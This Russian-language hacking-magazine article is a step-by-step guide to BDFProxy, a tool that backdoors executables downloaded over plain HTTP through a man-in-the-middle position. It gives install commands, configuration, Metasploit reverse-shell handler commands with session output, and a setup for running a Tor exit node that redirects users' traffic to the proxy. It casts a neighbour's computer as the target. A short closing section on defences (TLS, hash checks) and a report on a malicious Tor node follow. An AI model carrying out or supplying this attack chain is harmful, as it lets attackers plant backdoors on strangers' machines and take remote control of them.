Содержание статьи
Думаю, ты слышал про интересный фреймворк Evilgrade, который позволяет надругаться над механизмом обновления многих популярных программ (Windows update, Apple update и еще целой пачки), подсовывая вместо валидных файлов зловредные бинарники. Считаешь, подобной уязвимости подвержены только апдейты приложений? Ты ошибаешься. Скажу больше: скачивать бинарники из Сети не так безопасно, как кажется на первый взгляд. Не веришь? Тогда смотри, а вернее — читай.
Вместо введения
Проникновение на рабочую станцию обычного пользователя представляет собой довольно непростую задачу. Ведь в отличие от серваков, на которых может крутиться большое число дополнительного ПО (веб-серверы, СУБД, FTP-серверы...), которое увеличивает шанс найти лазейку для получения удаленного шелла, в случае обычной рабочей станции и зацепиться-то особо не за что. Предположим, ты хотел бы получить удаленный доступ к компьютеру своего соседа Васи. А рассеянный Вася забыл отключить автоматическое обновление системы, поэтому пробить его систему каким-нибудь бородатым сплоитом не получится. Ситуация непростая, но и не безвыходная. В таком случае можно положиться на свои навыки социнженера или, к примеру, воспользоваться Evilgrade’ом — автообновления-то у Васи включены! Но есть и еще вариант — BDFProxy.
Знакомься, BDFProxy
BDFProxy представляет собой тулзу, которая родилась из двух разных инструментов. Изначально Джошуа Питтс (Joshua Pitts), автор BDFProxy, создал инструмент под названием The Backdoor Factory, который предназначался для автоматизации патчинга исполняемых файлов с целью встраивания в них своих бэкдоров, что порой очень востребовано при проведении пентестов. Второй, mitmproxy, — это прокси-сервер, написанный на Python и умеющий перехватывать HTTP, менять трафик на лету, воспроизводить записанный трафик, декодировать и отображать основные типы документов. Путем скрещивания этих инструментов и получился BDFProxy. Идея состоит в том, что данный инструмент позволяет через MITM-атаку на лету патчить скачиваемые жертвой бинарники. А теперь просто представь, сколько официальных сайтов раздают свои программы по обычному HTTP. Да что тут говорить, этим грешат и многие очень крупные конторы: Sysinternals, Microsoft, Malwarebytes, SourceForge, Wireshark и многие антивирусные компании. И если большинство антивирусных продуктов имеет механизм проверки целостности собственных файлов, то обычное ПО таким функционалом не обладает. Это означает, что его модификация так и останется незамеченной для пользователя.
Хакер #191. Анализ безопасности паркоматов
<
h4>
INFO
Автор предполагает следующие схемы работы инструмента для локальной и беспроводной сетей:
<Internet>----<mitmMachine>----<userLan>
<Internet>----<mitmMachine>----<wifiPineapple>
Установка
Пожалуй, отставим лирику и посмотрим, на что способен данный инструмент. Для его работы понадобятся следующие пакеты: самая последняя версия Pefile, ConfigObj, mitmproxy, BDF (тоже самый последний), Capstone (является частью BDF). Итак, клонируем BDFProxy в одноименную папку и запускаем установку:
git https://github.com/secretsquirrel/BDFProxy BDFProxy/
./install.sh
А сами просто сидим и ждем. Если у тебя не установлен pip
, то библиотеку pefile
придется устанавливать самому вручную:
wget https://pefile.googlecode.com/files/pefile-1.2.10-139.tar.gz
tar -zxvf pefile-1.2.10-139.tar.gz
python setup.py install
После чего все готово к использованию. Как рекомендует автор, перед каждым запуском следует выполнять команду апдейта, на случай изменений и дополнений: ./update.sh
.
Настройка
Теперь мы подошли к самому интересному — к правке конфига, который обитает в файле bdfproxy.cfg
. Давай посмотрим, что там есть. Помимо установки значения, на каком порту будет работать прокси (proxyPort = 8080
), куда будут сливаться логи (logname = proxy.log
) и какой уровень логирования будет установлен (loglevel = INFO
), есть еще white- и black-листы. Белые — это те, которые будут как раз таки патчиться, черные — нет. Эти листы существуют как для хостов — там указываем, бинарники с каких серверов патчить, а с каких нет (по умолчанию значение ALL — патчим отовсюду), — так и для ключевых слов — здесь в черный список следует занести то, что патчить не следует. Например, исполняемые файлы популярных программ и DLL-библиотеки: blacklist = Tcpview.exe, skype.exe, .dll
. Еще конфиг позволяет задать настройки для каждого типа исполняемых файлов Windows/Linux х86/х64. Но довольно о конфиге — там все достаточно просто и понятно, перейдем к действиям.
Испытания на полигоне
Все вроде как настроено, самое время переходить к непосредственному запуску инструмента и, в лучших традициях, попробовать похакать самого себя. Запускаем тулзу:
./bdf_proxy.py
В ответ ждем подобного выхлопа:
[!] Writing resource script.
[!] Resource writen to bdfproxy_msf_resource.rc
[!] Starting BDFProxy
Как видишь, у нас создался файлик bdfproxy_msf_resource.rc
. Просмотрев его, обнаруживаем строчку, как использовать сие чудо:
msfconsole -r bdfproxy_msf_resource.rc
Как ты уже, наверное, понял, msfconsole — это пожалуй, самый популярный интерфейс для MSF. Он обеспечивает решение «все в одном», консоль централизована и предоставляет эффективный доступ к практически всем опциям, доступным в Metasploit Framework. Msfconsole может показаться слегка путаным и непонятным поначалу, но как только узнаешь его синтаксис команд поближе, начинаешь ценить огромную силу использования этого интерфейса. Возвращаясь в нашу консоль, допиливаем настройки:
msf > use multi/handler
msf exploit(handler) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(handler) > set LPORT 8443
LPORT => 8443
msf exploit(handler) > exploit -z -j
Теперь, когда мы будем скачивать какой-нибудь бинарник из интернета, он будет патчиться на лету и при этом будет иметь не очень высокий уровень обнаружения антивирусами. Плюс после его запуска мы получаем полноценный шелл на удаленной машине, остается только к ней подключиться и рулить на свое усмотрение:
msf exploit(handler) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ---------
1 shell windows 192.168.0.1:8443 -> 192.168.0.109:11162
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
Microsoft Windows
Copyright (c) 2009 Microsoft Corporation.
Испытания в реальности
Чтобы провернуть такую атаку в реальных условиях, необходимо предварительно встроить BDFProxy между жертвой и глобальной/локальной сетью. Вариантов проведения MITM существует несколько, какой из них использовать — зависит от конкретной ситуации. Мы же вместо того, чтобы осуществлять ARP-спуфинг или отравление DNS-кеша, попробуем реализовать несколько иной сюжет — задействовать BDFProxy и Tor в связке. Как ты помнишь, выходная нода видит трафик в чистейшем виде, и ничто не мешает нам отправить его через Backdoor Factory Proxy, модифицируя скачиваемые пользователями исполняемые файлы.
В качестве плацдарма для своих испытаний будем использовать Kali Linux, хотя вполне подойдет и любой другой дистрибутив. Если у тебя еще не установлен Tor, то срочно выполняй
apt-get install tor
и перейдем к его настройке.
Настраиваем Tor
Для начала давай разберемся, какие параметры из конфига тора нам понадобятся. ControlPort
— на этом порту Tor будет принимать подключения для управления Tor-сервером. DirPort
— на этом порту Tor будет принимать данные от сервера директорий. Установим их, например, в следующие значения:
ControlPort 9051
DirPort 9030
Далее ExitPolicy
— определяет, какой трафик мы будем принимать и форвардить. Имеет формат ExitPolicy Accept | reject address:port
. Можно прописать что-то подобное:
ExitPolicy accept *:80
ExitPolicy accept *:443
ExitPolicy accept *:110
ExitPolicy accept *:143
ExitPolicy accept *:993
ExitPolicy accept *:995
ExitPolicy reject *:*
Тем самым мы будем резать весь трафик, кроме 80, 443, 110, 143, 993 и 995-го порта. При желании можно что-то добавить или убавить. Как говорится, хозяин — барин. HashedControlPassword
— хеш пароля для доступа и конфигурации Tor-сервера, сделать можно командой: tor –hash-password
. Nickname
— имя нашего сервера. ORPort
— порт, ожидающий подключения от других нодов. SocksListenAddress
— адрес, по которому Tor будет ждать подключений от приложений, работающих через SOCKS. Формат: SocksListenAddress IP[:PORT]
. Установим IP в 127.0.0.1
, а порт оставим дефолтным (9050). Это понадобится нам, если мы захотим использовать Tor в связке с Privoxy или другими прокси.
Конечная часть конфига будет представлять собой что-то подобное:
HashedControlPassword 16:91495A0B7CBC41C76073E1EC00A5CF1510D41462884391CCB24BF489F1
Log notice stdout # Выводим сообщения в консоль
Nickname BDFProxy
ORPort 9001
SocksListenAddress 127.0.0.1
Запускаем тор:
tor -f /home/toruser/.tor/torrc
Теперь через какое-то время наш компьютер станет полноценной exit-нодой! Кстати говоря, настоятельно рекомендую тебе создать для запуска тора отдельного пользователя, а не стартовать его от рута.
Мы же не будем останавливаться на достигнутом. Ты ведь еще не забыл, для чего мы это делали? Нам остается завернуть входящий HTTP-трафик на наш BDFProxy и следить за появлением новых сессий в Metasploit, что будет означать, что пропатченный бинарник был успешно запущен жертвой. Для этого воспользуемся iptables:
iptables -t nat -A PREROUTING -p tcp --sport 80 -j DNAT --to-destination 127.0.0.1:8080
Так как Tor сейчас переживает не самые лучшие времена и его периодически лихорадит, то, чтобы твои эксперименты окончательно не прикончили данный проект, мы специально привели не совсем верное (или совсем неверное :)) правило для пакетного фильтра. Но если у тебя есть желание докопаться до сути, то твоим домашним заданием будет найти и исправить косяки.
Случай модификации бинарников
Думаю, ты уже слышал о том, что специалисты из компании Leviathan Security Group обнаружили вредоносный узел Tor на территории России. После обнаружения исследователи попробовали имитировать подобную атаку. К примеру, при скачивании модифицированного пакета через Windows Update система выдает ошибку 0x80200053. Этот код указывает на сбой проверки подписи для загруженного бинарника. Правда, пройдя по первой же ссылке от гугла в сторону решения данной проблемы, мы попадаем на офсайт Microsoft, где нам помогут исправить эту оплошность, дав ссылку на заплатку. После скачивания заплатки вручную ее исполняемый файл опять окажется модифицированным, а так как устанавливать она будет уже отдельно, а не через службу автоматического обновления, то проверять целостность файла никто не будет. Стоит ли пояснять масштаб и возможности подобных узлов?
На данный момент о вредоносном узле уже сообщено в Tor, и он помечен как BadExit. Тут, правда, стоит отметить, что из 1110 выходных узлов в сети Tor это был единственный, который добавлял вредоносный код к бинарникам. Все остальные проверены и не делают ничего подобного. Хотя это нельзя гарантировать наверняка: узлы могут действовать избирательно и модифицировать только часть файлов, чтобы не проявить себя при проверке. К слову, компания Symantec внесла свои пять копеек по поводу обнаруженной вредоносной ноды. Зловред, который дописывался ко всем бинарникам, написан под семейство вин-машин, в которые вошли: Windows XP, Windows 2000, Windows Vista и Windows 7. Антивирус его детектит как Backdoor.Miniduke! GEN4. После проникновения программа связывается со своими создателями через сервис микроблогов Twitter, где она ищет твиты в заранее созданных злоумышленниками аккаунтах. Переходя по линкам, опубликованным в Twitter, она загружает основную часть вредоносного кода. Загрузка осуществляется в несколько этапов, после чего зловредный код начинает функционировать как Backdoor, открывая тем самым злоумышленнику доступ к любым данным, находящимся на компьютере жертвы.
Как защититься
Ну а теперь пару слов о методах противодействия. Самое банальное и самое эффективное в данной ситуации — это, конечно же, использование SSL/TLS. Но вот как заставить пользоваться этим разработчиков ресурсов, с которых ты скачиваешь файлы? Еще может выручить сверка хешей реального файла и того, что скачал. Если подозрения все еще мучают тебя, попробуй прогнать файл через тот же VirusTotal или подобные ресурсы, в случае добавления какой-то известной сигнатуры сразу получишь огромное количество детектов заразы.
Делаем выводы
Тор — прекрасный инструмент для защиты личности, однако он не гарантирует безопасность. И не стоит про это забывать. Как видишь, суть одна — не доверять никому и проверять полученные данные: никогда не угадаешь, что именно ты скачал в свеженьком бинарнике. А развернуть подобную тему на своем сервачке — дело совсем недолгое, а если еще и таргетироваться на узкий рынок устройств или ПО, то шансов быть быстро обнаруженным весьма невелик. Так что чти УК РФ, носи белую шляпу и всегда сверяй хеши